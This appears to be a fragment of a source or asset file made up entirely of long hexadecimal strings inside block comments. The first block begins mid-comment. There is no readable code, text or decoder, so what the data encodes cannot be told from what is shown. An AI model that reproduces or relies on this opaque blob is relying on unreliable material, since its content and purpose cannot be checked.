6924de68625c87f5f86ae1451b7721da85ee9ed7fb907299ea14d72092e5325f00b4aae6f25e7790403977b956b781e8845e7dc981fb3ba55996b539e512854dc664a337397a40f9ecae0730c072675f0b8f710c796dfa26a6f12776e23fee5df1ab74f5fdb01f5ad8c44f764874e754e0f26aa1a6a37abf50b73806e2bd943dee4bb101cb8402594502d2c54a81887c999b671cdab8958c09f70e2f53d6b0a18601c3e80e206b64fe9ea34f311675851b2bcbcab39a11a825b3530c9572a6d0d04c16bcbe05707a5b21577c28a914f484f67df49d516a78f0ca8b39056191c67edc55f59c82aa69b4103b01d1159ea6c3732f1a758b42122b1ef7a0d9ea54691fb818f554af8ac4f9dd88e39f25003a5be80853a955e0a06772f2646330bc223bb1d2dd2f5ec83c23f4cbf1aaf2d9196e3cc55eb36c02de70c8eb9af7c6cae2d23666dcb8c8921f8c0b962ed6cc5ef40f7c3fa6fb1fb7f64536043c5679636255ab3ab00d303759eacd1b2bc6aa0853d99e56031c94c07328f4461b83b92dff41a72c6e11397199661fbaa716b0dbac84bb6206c4b120f212538e5260e1022cf518910d0b53fa4c0d813afc0036896069cb60dc63979f346ed3cad3c1cd5aeb77bc06ee049038a7ca45bc3f4f1659a2ecef8c349b4e2ff14ebf63e2478334e0cae67fd674f4be865b6188d95d6e2f80b0bc28519c8a830c5cd5b07f5888e5f27e5f1f88cbe49fd8f1a75306cbf5f82f662b9b2854c3b9b26310e9929656f5b309aca301b572afb2b2634f7f0f59b2e6129a54c815e5513e3912d6ad48e16a3b278be6c0585062f7aed66549315bd2c7004b7782575e67d21592dc671d5fa305b7d2d40a29644f77a08c36b169a49f526acf279b12084ad6db52ddb606864da3b27aad057cf2db2cd846fbe631a7770d95ca69b1ff60888721871d30adaccd6c9da359909d415074846f19ca9a997036469122c570893825851e5e25750dcc3e9a03e9f881c2f70f8238da9662ac810981f540d2dd739420a687b3a20e81053eff3ab604904d1b73e04768adcac8a01667cab3a446907d3b30884af7df14895e4f23702596e79dc16c3d2b8743a944dc8fc0c88478361a2b0465e8af3d4d98583417d0b168f0a905aab8ebfd5d2c4e72885a8762aa99a4ba319ed9a22dc93c0322ef10220deaae84e33ba2795603114ed1b98d2fa339a4254af9fe2642162416d8ce4dd294b82b6eb4a0d1148fa31566e50101060ac384addaa99b660111b858411345d0520723208a2ddbd1b19ed8720c8b5e5d6d6f6abef47725e22b75b7ea6380aa51b4a8a7ca75d551f735450f4f414bc9dbad26a588f0fae974e2b4f6260bbdea4d711aaa8a6cdebd4a611fcaa15e79e76ad561a4111b3c9b934736b653930e3a8285d1c4a7f5145068938570a84f13b29eef4d7a69a972e8eccdacd67e5ec76db2f381a9a872347d1594d3a0a31be43220d20ead18972e4b92d15f48c8ec386a69cef6e3ea5bdf9d1fe5c73e597676e18eeb91971fef95c992afcc42af3d6864f3a73b97b05218dfdd8ac6bd5b0faec4133c8e277aec2860b6f005157a8a7620c8e63ca585ed79ab35e82e6cef1721474cd738166a0dca6b9e1b7d8a02931b2d0dc00abd034f64fc552ad2e43827fc8bd4bc105c3d4a382db209b28574a50ea9f64d952a461af6a8f090b1380ff995be8045863ee79de90597406bfb7ceb428ebcd91926ff5c51bcf5ab0e65385aa30b1d896ae428344f0cf43b6e7f950002d4b87df421e48be107ae386a6bd1074c7177568fdf3ea0cb662348f2d908a4aa250abffe952c27a5e1fc144a3b66f4ae9b7882bddcd65af757de5784ef10b3adac324e752542019c691ac80333f965a75b067d10219781bb1c05cb4a9bb7a61698d680baca2f2b1b79d30fa6feb03ac270970e66cb85fd12fa99dd818a7cd708e3629268c74e5ffd10e1bfbe36cb3d103807c958d2afed5322dc774ed0c6723d86ce09e605e4951260a3bfa5e88e703339a4f1df7018fb5010333035b94f8013a0b529e84e991e41e1a8ebde68afb9d6dfb2ad06e6af1389083076076699d8600924*/
/*9e2d94d0d930b11c398af0be9ebaf7c4a3b725cd8f0e17901bc1484b6aab3ce1badc625f42c20289fe998d4055a7ce4f07ed6a0a4bada1ca40fcdcbab076ae0cb4feb3e3abaa5b42938428de0edbf2f6301c69ecd71d82c742cbf7895a736c8193bc0a0e9f55d31c7e3604d9aee75a9363e43bfed41dac5aaaeeacc8bb89016730c821c18b8041549dc44674fab0a06096d62de3d846cff94ae70df4a2d8a5019310f1b315ab634cd943f44e56b7b56445c0db05640a7b5a7a719ac3e98fd45257e99ef5ef1559f6b9abb4a61b3309938d03e5d65d17321f4b4a1d6af301540a7f12d7f4cf599bb750e98728f6dcb16aa331beee2b147e025ef549d8a1f08d65c1c773772efd301f5bfcb880b9398d49744f7f1936b0a04ca1ad0c70e11da86b57146c9249de83338bf3de84e0e808d2c5e12434467c51777fc95c7e0e0966b9ef0b2d26bbd3b00d02cd6518c10dad47cb2ba9dd2519801f245c9fc3344bc69f96ec5f83d4bfa5c34d5b445d1f0ab4550aeb3261e898af3df9d7f17e64218182e300d0380321d497446cfe717dab2f4b1e1d7616b1bbc84b8231c05657363c145481e1cf6dcecd5b1bf0c54e55b4501fb03d46603a0abbb6b83c3b0f87f39de6e0b6d40315c5f299786875588ddbd51fc9defc8b968755ec7681d94e2dfc2d3c27b111aa976de2d1e90a9f8f54d3e013eebb455779cd625aab3ab26b9369757f5e3526ea993645005723e47297d49418d6d2b482d031343f905a39035c87de04193576a299ccb6ea7239e025ac795e5999a0dd30fbe9f66b4ed5ac880a8a2c86796f12ceb69b5d7a36733491dfc6a16d4cf8510fff6c75b4d7d739b671caebf937042d7ec8257c121fc2a7595c3e31c329092e1949eaa0fdd7293c3ee2597ed0aa78368f18c6a9ea238616d8d755247d02ac9686a3a97e93a25d7dd04005b7f7b34fd412a3aae98123cf23a7df4fb541dafcb2b2289b7e0a757aa90d71d7daa7ec388ac530d6d87ec3b301fc1eb32434023b6c33ddb7748d5d3bd236db0c343ab5cfbacd9115cfce63bd7e216989dad63e06f286248146b4c9aacc44726bbee395fc45c0c26a98b1c2a4f26b7a1ff2c6dcc4298b09b87c28c5ad1dd5957e4f1a93297335439f94cdf4a0bf2608e336a0288f858475d300912009197727d7ca99da996e094afe3c07762f8f26b29578fff398296a1fae59ae63375ba81e66452008d0a3b08db26eec2d9396065e8c25d77a774bbfb3f43bd142071acf502c2fbc6008248027f4b2245761c12e6b08b0ae3d2328c17445c5d11091444c4a5b0d468863e9cee057b59ecf72b676a9cd56307afcbd62408575c17fc6a04e5fb8eadddec70893dee8abbf40b8094ed2d827c28175b30f73e7e10c852490795ee7f992d474f715dc2efc72102b7e6b9ee41fc2873a1e556ab5c80faa114c25a28826afa989cee6bf9832eaf718c9b12f3d3f5b787e04164355cd27609906fdcc0cfbb3ce6abfc42d510c10d1f02e333b9bfda54edb695f1d49652d0b5afe3dd75fbcaeb590f924b41ba6c9ae53d4607c7fd3cb7180fcd2e2a966fe593fd4036012c7f9cac490d8cd52c7385dc478fd5108cce789019bab079793c96670cdb9f614963a6c953aaeba5ca9e7229f7b4ca9cd75fe56a18ae985bbd364adf9cfc5241298541585e4a316764742ef51be057491a866dcea2b923a722309664412bdec0b8af89526f63dce5c2f4b452ecce5f024d3d19b1f897d038d44fdff704d67857ec464bfcdc35af2c501a51875d5ebb00ef66b9508f003438fbeb5edb28508f91799d2d18d76b720350f536429b5826080f77c30d94ae7db9db6594978223c8c09d6ed3ab46eee1b16fad22b1bff75f6b918330bcd63febdac0195dde6ab3a4292c9c2ef32f750af1ad6bcfc01b5d9347cd55ad7f0d5e0966c34cbcd5d0a042a6078cf94c8acc8c4f05d42767380bab50fce9a0a6bac1966a6f3eb245699ffffd7dfbda4e9ebe6d25ebab769def0f1179d5cd45a7a6a0a85cbbb5ba923b2080871c92f55a5fe614418853bf60799dcb353de40b6ec676fa976202a799465fe4388b225ee4654bf008c3e32c746d117be6d7c6b84f8600b75328daa31f8e45e88ada5027ec38a8eea28a019b2274233b1b0014df5c3c50aba8b461eb6bc71cdc160d116aeeb4b5c2b4a2e17bc614da843555259bdd407344ae774e7dff6e6937bda2cc1925a66828f171d12f1ac4f3004526561dde41f5a348b238b395aecfcb68f79bc3808c3bd506eaf4269320b521ebe047fac65d45fa5e69d7d8418c925019d53942b545ae8eb59cad62de3a1725957b03d7abd194b9c723a3021f13d6227a0bdf33456a4a2f2f534918c829cdb39fea205eeee04483cb8bb88971e3a0ee50ee4977736a40f400d43a006ea6594f09161370386a1f2e6c402d20f170686c47c96f29ee72c8925917d3d6e452ceabb910fcb85f92ef94e11f61c040a6b73a6328a39adc238df01eed80efbd47854a41461cd0de7901fc508cc27653d29c31be3ea1d8a564dd147f2edf1a2ff553ca75b47c56c8e7e8c1f2d47a9b0c61854659313b4c27f191d7508ebe168fad49b3962bbc9aa2921561dbf4ba0f83cb1a28ce68549823b6e7f55c7d6002bde82dda440411bd5386829d6ae6e91a7c0a8467a5d25022241c2a4c55184bad616425041b405cd259b6fd6a42fb66ec1e496ed66aafbcd36587a2e014886e1f61823a3abe5f20998077ade67df34398bd24452779081dde14c6916484e9ef7811486162634e2a8d4a5ee3777d05812281848c6290130b29ad2b3b4f8dd4525993d02f962a55f2b*/
/*1e7f0f188af38ef1ac93b9e3cd869b66a3d9df71e01b24369dac46d149112f29d885f169c50ed5f96f6a738b7a5fe27e5a6a278edca00eb66a639d6fc8755f3ac253584622e6ea3eeaefa1a75aac8c3bddd9bd6257f241ba048369872367228c0b2b51176c16d039ef854d523083d5919faf6601b570109782b4156912cfcf1f4090b61962092020f711164cde57b55d46fb8e81d1edeeeb1c516e6c262b09f448ccd308968143fa0ca3728aeb259c47a2343be8ae1cc883508594a5ecc8849743ef55b522ff8a86040ed3399c7db54640154e354e859c8e5d6f5ab3a8f5bee9b4966443dd906cc2fd707f5b6ba02b27c7a26a615d8eb0aecec4b6d74b1df2ef8a27f82ac46b9483654222a127c7927df3418226c49ea6db93e72d4c571a99773c68762635642c4972ea3545680dc2ce7a7ccdfbe64f129e2fd6be89adfdb4fbeeedd93ae4ae534cb7f1bed8c4be2293b6e266420fdad723f013184d264f6337d9b0b989f7d6eaf21d7fe81df1287b2f63f7b1ab6aad7f31422b120a714270b29d3c1c59fb1a058a078245d0ff12b7bce2da23bf3d0f4e0fc7b32ce3012ae3f9c57c6aaf30e48c31c821385188ec4a7a9b16db7add406e9efe8286f31f01f40f5095daa7fd9cc7db519d8407eabc8e2a744ef055ef6b987a9bf9d8212266cec4e76d2c319b3d907ff5de59a519abcd7785243f711eebb371e74397908bbfc2672715674289a5e3ccd676982ea9bf64b172ec7f29f62471e6d160ddd248f38aad81aeedfaf13f5063b3c62345c6aa535f1dce2ede74bd84fe66fbab724b1b840afe307229121fd27798ab5c1b7e7365de5a25a6ec9922566b575c756d7eeb437b81bc758884737ec5e2b94e8f2b7a7d2fb283bb5990abf0b6313afd163bafa4e6978560293c9932d482c7a86ebb4fc430c17d39f7bdc4375d30c1393b4d1e09cff969281f5780284359ad6954682fea7bc98a651169f2fe6893fcfefc452868b0cc20120886b42a0d6ab49a466a2acd33f9a9ee4b4a88062da441d222c6198b8fe42c6f81ec4bdb841f280fd7e0da04ba5f59c512b48212db12e916e00600419370a77078d46656c4ee549c4cb5f9c54166e673eca463d76211fdb597cf93c4a992318f111171e1f6dc4005a227da109b90021fcec1e1eb1f89b2a917bcb6dad08b132ab32217fff2c46a7ed03f05ac3f98a900bb82b2ff4029f4ec9978e6075ab39f7d4d19760e35ae2f033149616a0cafff9829736e90348009d3621b1cdbc95494ba88fd306beece69f80848b090ea022422bb7ea69659a5bc7349623285bb0dd46c008af3d2b5f1138f066d749ad219874c2009098c2711293b599875c6f7986a1116f4ebe0769294fc2cd2076e06fb86211d9c78b793030adf13e1984edb24b838e740e059adb7c20097a69a8f67fd17f02a94d1fd40106dec473475e0e6dff2bd63dd397530826943dee7357a0a07105eeee54f52c5b01e2af3c850461d2bc0c92bf58c5793e6e2980d6e391bf0880d505aeca039836a05a42227778dda7f989092437e0d35b24d2259c26d2b2444196482fc66675b73c90bbec22f1b072850e8f1db03ab0253bd682c702c225c7b30bea3af6b8a338b9bad2ae181301931146de4af29f62fba40d9d305872ca28c3e4fcbcde26e98ffe38d63c7061cf3e199a2fa56d68802e4be277ded487d41d98146fc3bb2ab9f4354bbd384f34db4e9695fe42e844076283f78661ad6b723c60f03832ed714f75e6872058b1a513ff6a0ba71bd4d732b32a38e4e60cf2a666be19136b29c731b535b3d4a38192c529d6ad148784d8741fae212a494ec1cd144ed6362d9b832c0d9d3fafa89c22419c610f18811150d21ab9f6145e80ffd3546ed100209c05e11851757a9561f3c89dced09f49c86ddf7ee9aa2e4e293ddea1665e6169431466ab32be80f55dd82f1100e905aa93b02ba71c36a928ac2c7b0bc9904ace15ac46f4617c7009f2ffc562abe520e648ddd389ce418820f8f5c476122df8d0f13520706462f60f2aac764dd13770cd130990764f9f289b5f376e7761e8e6490ef604ce94997b833502dfdafa292c60aa18772d2bdb481a883e52858248245dfbbc159a40b8c6186e6df18d70cccd46eff29e0ec9b04f9da3eb4fe5a75ae144ad24235356936c2e829e3af5f0ae94aef48707fd7f6545b416b47eafc631010f119170f1816d06aacbb821557b36ce95db99ff029c1ccba1be648871310fc38d7880ee9e4a5494dfee80003519992beaad17e8d359bfa94e77072b26246e6a79f9129edf8cc52d06c8791fa27055eb4a75c2d20d6ccd52897bc6e7f53bc3898e7b7e24749ce4605d6c0ab090a0c9c92757b4b856ccf340c4ed27d6b10dbe1d73396fc86c73f8229c13269bb2d93976b03ea891b6965e5dfa9d57e1751b3de6138a3f544b5c1701288d791d5c3f8359b4485886ec2dcfe195f64dff8981d2ba53b09b80f1be18abfc1eb7983e9c762b6c59e1cc713ea7d20c896a58a213104e70d03045ccd359933e74d79fe0e5d45a7831537eaa338753f395cc4993ccb32af16b0172224059f0c140a15118417ad4b57ca63f6676b8de5491b3a7cc2dde3433d0f78452828d5d31fded49e9f1d3b172e2b1957b8e327c1ce73fc3600f3197ff042d50e8133badceae014e07acb7db284bd59e197321ffafa890ea6d4c544a6388e54e8b5069a3eb2ccccb978e469fb456bd84950a1b7f574a2c47e7b18d8fef70dca52c2c6a78ec0ac5891e1c71a6d2647c85db9490af07837d9f9a0423e2cd0c087fd46d9a25e2a54177b857c9701f870def0bd6546fb8953d25e*/
/*60ac5cf31fbe513620e55f444e7512f44b74e89e33d7be5df7f6e6ce52a62f467c9d9a8f499e15ea81b604c0c8e200feac98f45597c5db9daba956bd84271f5b0ddf00b38b7aa8bad850195c1f2e175f8adcaa84d1f82d065b6731fe86d8bdc414500c1dcfcf7886d87aa5da3997b86c4de2fbe3a62f6aa72434d93c1f02b7245de58f974291d8db3a56744b18c511db786db5c26a7d96f6bd21bd8ab14d9ea84ddb39d75e046f5c2cd0a2d11dc2ef587ad0d53e70b18b1b82bb24b623c79153bc723c0d01015f87937c954949d2b949d67caf42ae30ed6e68bd5309bd7f3a409b7242e574102044106bec1f4d258a98aadf0ecef4b410247403eb1d7aa971236522be22b77ecbacd0d3ea77d0493ae66d8f5c8f95865b6eb1ac953f45d60adf63da81e26b6264e32897e410e680d364f019e509ac155846514aad54ca94b5ac72b834836901685667b1629905845fe85470fcca69ab7d6d5ef510c1ff1c74c4068283b879389289d7798e79d0ea8c66fea19bbeeaa544b75baf35519b648db143415de8ee06bd396eaccbaac9913beff58399b17b3dc3ce4a9be2fd9bfe9f08f2bcb850909d36ac482f2f48f8529e7fd257735e36bb373802f7a5fa9690f5853c0e4ba76aa9c00592dcd0c9ebd9287bf76c9299cd483935ea937e406018c4a98efde79d47fd76d8db8f57b3bc40c04d194ae4bd671da88737cd09c27725ade8d4f152d1bcc34eaa0a4d069fe0a162c0c44f4bda13250d5262959f35b094841092c01669b769d16a9e035277fb5048040c7fe07f25aebdab1a297d7716ac9b79e18ddf436a5a409e750722554d36a5884279725502b8dd73d4021b5b40078f9ca9c76c742e0c7252288c44c8efb51f406cefc5762fb600ae798ba82c4321a577ffa8898c59a91bc2d5b60d459d37e76f428ef24dc583d0efacadf4aff6536113ac26db8ef4ca6d44660f2d038a9f2678cd687cb52877074b62fbde379b845b6e713e245734ad04e8edd0e3de863f5a724fb8972608dea623f759ec350a9aa0eeff0c9fdd5468d392236af2ee0062705d29b55b75928f5012e92be1b65c30a101e096901940c5bf409534754501ac9146f3c855fbf51129ab38d6ad448e9b1096dac5fbc1b9923d1e46b08f4be1245d9e9a16b97e89c54704c24c1a6aca3dde870d7211067a74e1b3fda032e933f6506d289a2816b9096032bf6fc057d2d09d28ebbfe48edc5ec9194ead29e69666b5deb5adf0d0e663089ce45066f09426d98e33352c18527e30b04885cedd81dd0c60a333877d2d660747dfed07106c5cb99e96c5ef2a023b93789e58b99da8e10c159f54b91a9ee81b1f583e1ecd9a8ca8da9475aaf35e32948668074d8a1e2e3ca4e71e0b99800f79d785a3692a43d1135a3c1b461786addf21924e8359ba672e2a38178460c472de0305302d4c028b69ea31913fe4dec274b0ed12531a184e3d6932778464e0bd7c74eddf0febf534a0b16eea86ba8254b88f97047e748c6c08d4f5d96e1ea049789106594169802d6a83ba77ca492ca062a08f5c9e3126feeaf0ae933708abc900ce8e263376f439e006663467816016370c6fdd9d6ace8b8276d5cbe58345b4eeb6e535cced773d288bde78b8cb914b0e8966850252844251458193a33d35f3f4598a9e6473906da155e7bcb011f7ec4f0a8e23980ff04427d21df4eb47af04d129663a099626465dfcd83931b17cdd18f5ba651988db5119a14b9cca9eecb6e3aad498afd6b830e23a70bc9fb227940df76223f41353f1d95699379df22609039036b43892307eddf95d084b40caa9e3b78fddd6b56fae1b46ae2e1bd22a9bad5d3fbf9ce20def96d7714b8077799ce6f359d7429e38efb9370806e819fe91f37565d06c320f392aad81fda2981f0ef0f583965c785afcd5049dea7c8a00e1fbadce0e73a5c4f63adbe30a8bd036e22d6b36795034096b66e49f2edfa55b08f0b50540bf545b3f4436a0e546b871a3afaeb72cc48f77d996a6136dc2717dd57e29b96c49201f94e16303caab9a69112d6e68b3840ea58fa37fc94d7aebb3ca1d29b036abd80c333f0ff5ee405fc77ab629e4d81fea092cfe2c0e0c21fc29035b5ba067dc5e1fd5be89552167ff20a81caf6a859c76f7e60a16b5948c53087e6a16b2f8a71ccf11fe632bf07befd0bc22322848cbf3a73747dc2ac88fb7967fa1faae618444b765c5ca78663484c4bc721a0e86867cb1fe5f9106b673e0796277fa2eb85b762edae3a6cbb935a5d492a1ead167334cf6e70e1a1d4c54f6ad65f3dbe11c99d0941ebffdd36cf893bafe6c358381e0b534345d810fe769868099199d796ac229ac8aab2bc235f513f7b30a835e9bb294824aecc50c90defd7f808b4728ced4e1727e9dc32a8631378da225bcc4abe7e59097a7528e7dbae1b2f6c32f0ad09973d7a961b44fa1ed4ba81a9d598a6c37d789df7585a331b14223323262ff5a2f9da4ceb9ebe7e163f9ecf363225968e7cfb2ec6c1a07eb7bf20f6c0908a594058957d13a85291d5499400b364212318ac44ec95f81f424d7d6191035904149e0073078a8eb8ea61676329d818f3c172b991962f71088f5f69edcb7fcc711a317460d95940d80decd6ffd9381716baad11395ff7d5c2d911de58fae7b81b7806fa1e97ede7a63364b42fb76780df382c8ecd253c1744a0c6f6778b96d21167ce4742493684bfabc1a0e783799eeb6eb2495c02a41368f1d5ee1a0983f67c238d75a76083810d716362db13d9bfb8d667c2286693ce057efd8817e6fca49edf5a77b070446628d4fa76348d4fbcb2c8f5fb729584200*/
/*50b17b1c64e2e30946b915fcfd98bb2a9b52b7f911130a371b6a24b469dca996b408c21e117d73812c24ae0f90c0e484f53259d7e0b89763f6e556694db8a7638d5ff26182c39faff6ab3d962521fc9733fb8868117d5ad798f263c20ed40f1e5e65a5e2fc985ddaac01c351f8599d2d8021aaf2c8906c183ea4434b70da01b56373a5ce521c1055d7803637833f79df65ea9e0eaa9cac815093641078d211240398550694cf4c35f663fb51395fce746e82476f5a88ae89e17fe50a7a9ee6f02c5d475b71e10c9cf6f33bd3916666b969d69cf4f3737d904a16d84a202c1915b39947d63aa37eaa605080412999ca32262893e164085767f9952e395b9951110fdc05f11f91259d916343f172f8e38ef0eceb2569eb36954857e559d1d4fb3cd39dcee7c338141984efb90e33580feb66472f392a63929a3c066bd82028e27b38f506277e7989b62cf6653d480c0d030c353e21df74ccfe07beedf5ed6117398eb6b8519d2b07b76d592edcf9aaa1d2f00010d62c3f166f2956dc84bac85af01449dc317022c3f21aea7cfb091f7ddcffc05dd4aafa1bd8fb7413bbaeb876c243f61c432876e20d33a6bbb597b4dd38df94a9f4bcc22b2d8cb312a60c7fd22504ab39a907b5b8ae8bdde7c19c23b950a341f2565af5607cc4ab1b0387a39342d220b2a20d630d13d392aaf36c1e07af087d84ad1bc223b383e80c042f4a0d8403ff86c8b19a4375ce44fa1571ddd240e41a542de9ed9b6a2df7711a1f3425bca0a421ae6ca3651a2ab766f4dac1ffd3c0fa8bc2e07303f225f9e649d89ff963cab3e0a963294d6c471cc920343b028a3d51172c9b423a3f943ec092d9bf3a6e2f18496f48dcde0e751f84f5c7947fe3e6a186370b48ac3112262afe9559e467bac3a23fa073fb526d2ce58d7211f10066fd6d406d31ab4602634255422ace3356befc530325d95a63ff8f311f326c882fe8660b6b92b68fa53c8a1eaf9a07a966e6abbcfb5ebdeb4a721a402668f3014b8d5ada8c1c87aa4113c9dac03d1000cb69fae3cd18826aa4e1830926f26e7578cd1edb0f192ea31b58544218acd81aa1bcceba1f995c60959152831ca62568efe40521f2fc1fa719951c8c784e3a732bea355512061bc4a93db0fc6821634e33546f3c769154a7585cc8d23aa31a704dcd528a0c03e6b6c55a171f3548e4b8dbf966075241cd627e3a839674bf66e6644712865eb16c771c2e97fa8905762bfd30cb3bdd14481df3abe552f9d06287fece36c8aa9217f4840d719abe586cad071330ae0442a2ab738a70eab94723ecfbaa2678018b7344f1caabf833b89c15785ac544eb4dd0032d4f805a4d05817e66aef79665a3e84d61219431d6a8559db90ccb22ca583b801f6f96728a1f1429b4e8d4fba12bb00cb86bec5910904f6f82779d8226572036e6161f3405e5662e28ed7e1be118acd9f5ed5a6cf66c47171255dc26bec60026bffded0ab40131ba1ee99df5a9144d596459e3063ed98286d97fe9f58f95355c6ac56f3cd1b74e5e2335897a145af8856980e2434528de36d74fddf406426ac01fca9e85716a5bdb2d23588c319c2edfe8e3ece40d1e2a096a58fc25492027faece86ec2361c792c14d9f28b0659ee1b226d0f9a903197699f6297caef1d7cb369e87b82cdcf25a38ed5abdd61f7dbdba371fae2e7f2591c2db0bb4007dc43958579e3c1f7648420a41c0d14048c66401a935f6efb048ae661cdba46dd6e5c5991d98d5dd70843dffd853edc9a99b66f6c64e64277aa2dc84f2161cece884fd758fac5f6e10c76c0850e09da189a5ca6b1c7ba825fbbfa0e17b0538dcd3f06b86f63298bbbf62a26287a50c7b2c967f0d8808b0ad9fb82b75036431a4cb904fdff88f72ffc476a3182c959277241bbdafa5e0a1db3c55fc0cc93a9893877c7f041e3218113074d30d7f7515cfce73c27d6266363aa3dd8e7568b14609765569d164a0719b664e67ef1cdfdcb091cc1853e5a0ba8319ceb5a3c778699ef2627ebb733a44cc96c89bc174c9fe7d4b9a1fbfebd4fab2271c843c65eac186e0286ceeda7cac56560af492c628f21ae448590b1c651ded6c05c4eff4c75719507f15556129ad290685fcad24af1c1783e36825a7ef4bf56a03c73565631d78563aca955d9788b7a16c1bb68ee498bb7b5bf9acbfa8d3bea48baa1df92a61b75278ed2bb627cdc1c8e81a994f66fe7bf59b20c26fcfdc126fc7ccc70fa07545caf3c84ea1a31ba5ece5f6d20d4df306e28f9970195cabc7c71306947c6aeec3b1790b1b548a2827876d083bce3f2b2a561bbb5bdb3a824c3d91ff7d5caf7d03982730f5aaf83b917ad0d2e7683310b255b93354c2b0c3c41872c5ff57db1191b9578e499ab5d95e843f292b5c5fd6a7f21a495ab55d2dad91585ee43e9199ed8faf0fd22a608c58ddc7907c8c9c68569fa85db3dc028bf86b162fd9b4254ec9a33ee90ec613bfd1e8ff2de80600a38c7be6ed9f0f76d0832305e84aaf2b56e495c4029bff440fe5148d9507d59daf9ca1f808d6d7fb8bd10fdf5e6dda9f84597af3c30142ea89e1d0d1667878028dad71aaab0f4aa0a44288db99bf2a057eb3e363067cb71b5ee8e57f5b804f3579365e139911880720ba7116d668fbb9cd0f385123326fade6ce5a5262cee22eb1b2316f91362e53818bec411900ad908084fde7e0dc315dca003cf75cf3bb60c54163dd1d0fdd6236c970796a296a7f38b2712476043e3395d326d359a14165534bc72f39cf5293bc9a959f6fb441aa5e3b87e7263a55166a9ced434ce60078c61262b435e022e4162cd65c4e3*/
/*2db029168b65b8b855158fb1b199d33e678e5e6cde0b13b63474f9880810f93f4cdbec32935cfcad2ce9d46e4bd1d1916823ea2a0e41a3eee33ccf778ab92f790981297f3e73d7d0b37ff0d5f2107cbe58b50d7fb794a35082d8b6ffeb8bfc96fe5440c178085f775d02a84c50980c1c5a3d4ae6f77d4c192817951aa73e16b8357a70c7ff509939125405aa891f05f1ba8f7fb8d6e530e8ad851535dfd34d085136b6b09c08e0ed55f783f286e175e01699e058eb1d3b5b3b8975de94323cdea510793f3b4ff81450908e0e21483b496a414dfe90b3a085cfc00cac106820d8135c9975c827ce9d072da0c2b1e8ebcd879102b6998a2b8783f460765ca432181c58d1a05639e358ba1a4135b0d9daabf11b5b6d77ad46c06b90eb1d7c77ba036b041393442f3940cc535dae419d836ea2eac13bdb2f9ddcbe76867d065f5c94766bd5fe6d94ec427f63b30f05ff03ca6c97fd9ee7e6dc71c0ea84e0de9d1f28c9292780267c519f8be873e08314fe224a7f9c9a498ce9735ff3ea278b446151f376c79e3e371d33a1a81541fecda60fe82144c3ae37cf96096e0bbd2e65617bfe7e08bc8074e6f7d0eb586eb47813d83d3872a7091d6483c91651f31b52021f581461175ce952f9b0fee8d3de477768d2ac572b6850c980f280c1f999bf04dd8ea9358b678c61cea7f4894c4cdf325e242d0461bb66e845821b660a03d8738006e8046bcf4126c58cd8a94af48edd075b4b04a2faad08f2f5c234610f70e3d339e4151469aa935b312f812c12e9ec312dfdf26106afb24845686d7fafa1525aa6f45f5a922063501214978c6c9c8a6dad337b90ee56c590aca63aae2544ce57db544feada6aecbff20b4b7f8dc63c70d1fcd33e4dce4f22a19a449cef54e6ecfb04a9ac75a59f4d5655d79166eefa60c840aaa41a9f8791acec33f1c5cf7beaf5239b7daf74b086c4173792c44521882311529250471265515a4e1f5bcecd5f655aa0f30bb356ecd535e79d78e7164993a54e6aef11cae6e7cb7c07b5553837d6fc494aa1508cef25437fcb8a29590ea1c33c05380697615cd1f130c270a0a3d8a1ca3bcc8af9522b8789a00ffc83df3fefd92acddd53093edc6c5cc59ac9983bb0e73951db593085c04d1adbd998a1fdb2c0b49ba012678c16c50be795dfb142698a3add24b2dab97808d28133ea2b94e0ae773b28b994e3d4ea240fcb1366f182d3bd5a85e90a388accd036a6529731d4e53dcf1a9e0169effa45e1af997bb9af5dbb2ff579bc6b1ea7a741620e4c7c48a11e03f4179257d831ba9bc747d12f275103fe08a0db045ca9629a12eb51973f73fda381d21fdb69ff79c6c0551f1d1e4da9617fec92f528973b3e1852336abc9cbc8dc30a0603ed536c772fb38217e12ea6921b3c31f8fd610c1d6ddd5f6cf1917e81d1a9855f49404cdb82515c0957074d16f2fca75ee20902fec76ae53495f92fe19c2c29996489a2c3d6983bfbeec85b45f99a157b9f36cd7a10aa22005ba1484dc1a4556309baf9b27422bf43e4582553333ea19407681e9f38c0d30b3f7a336b14e1d8e0d89f7747c2bbb87996407baa79d1f9aa4e715a91a7e5a040664d8b3faaf7d050bbe2a1db7f1210088805f468ba93944c15701cb3ae163b2f8c97b69f96977c3b62e3a5eaa0fc41cc1312948ab17cd64c1dc38ecc9774080ca2523ea5d01c9bd3cd2ebf5a058989604f108c31dcf1b4d58dfcd1b57445bd802ad1995463c97110dd6ac1d8a360b42fbbc97bb5b5e903bcbbc15b76dc8294ca282450e65408d95d1d6f2275a217b2003dab4345ba2de92dc211e3bcb70dcc381ef9e5715d44cdb44567b7c69c10a1b6d8422b1fe6ff137dd653d5dd27fa91c751c5b0cdeeffb8a186ead0d4701c4545170479639993aba23c917412727e02ef37c8323185e7e039cbbe72149b1c7285f7a3858c1c6c9b1f380a9587e4d039fa75b700ae6b210e07c5fe26c505cb4145bda0f74b07651da3434e1dbf60383d91b0f3810194364aead0bdd2efbcc5a9bdcd460cf7a76d50770e6487112cf8906cf10ab3a6cb48365b55635894bf3404599398f200f323738a3b1f9901c9d6ebd5e1dafe57dcfda6d3308c9c2bffe4d1770efef19a73096cef432293159e7f64ef62edf948a5690cbbbbc165b295e9fef3f21c10035df8708f4bae67ad44c1fd903620fecce4447070222a65dcf0d9e76cb6391a181657c63cfff506724949f25e407e4567d240024b6b62ee5e7d9f30414b9350cd5b69d33faacc42e01389769fb35d013c93103c589add157a4437e44b54464211f661ee9214c4ad5a0d2d719056881e9847cdec3194c578c07907d0a5b748532e234d010f0c08d65999536c6bd4928849caa71081a7fc1448562de8007549873abb8c68f7dfa2d476564c463f6b78b4bf313f77bcd473d2a5f5a16c2a89d18da07466f13fd9e667831adb73179d7f4b535268d72f6fce208b70067d46711d9dba47d70b0264d7cb64505add4321f6d42fb695df1e671f0c9a65bd4e16a23e06d4fa090d037100080f04b9fd8298119a434f4361ffa65fa6e91e46184c24d023fab7304af26d4954a959bdc5f38354ab68c9f5dcc3b7e52d2f435bea4d8dfcfdf0a01154d7bfb5d41cb6c92861268fc98c6fae3e4b8a90947d3662b7979a706b1e0eae3da1232ac3b5caf2635909bd4e0b01dc30a1260d5cadeec5f8c1ed2391fcb0775a1d02fdb5b9cf2efaa28980ed59cd206376ad2d55b0148b64e226968be12b2c04f62f619685c6dc65bdd4b345dcf170316fb12699cb7473abfdf8145644ff977679fd31c11caba375*/
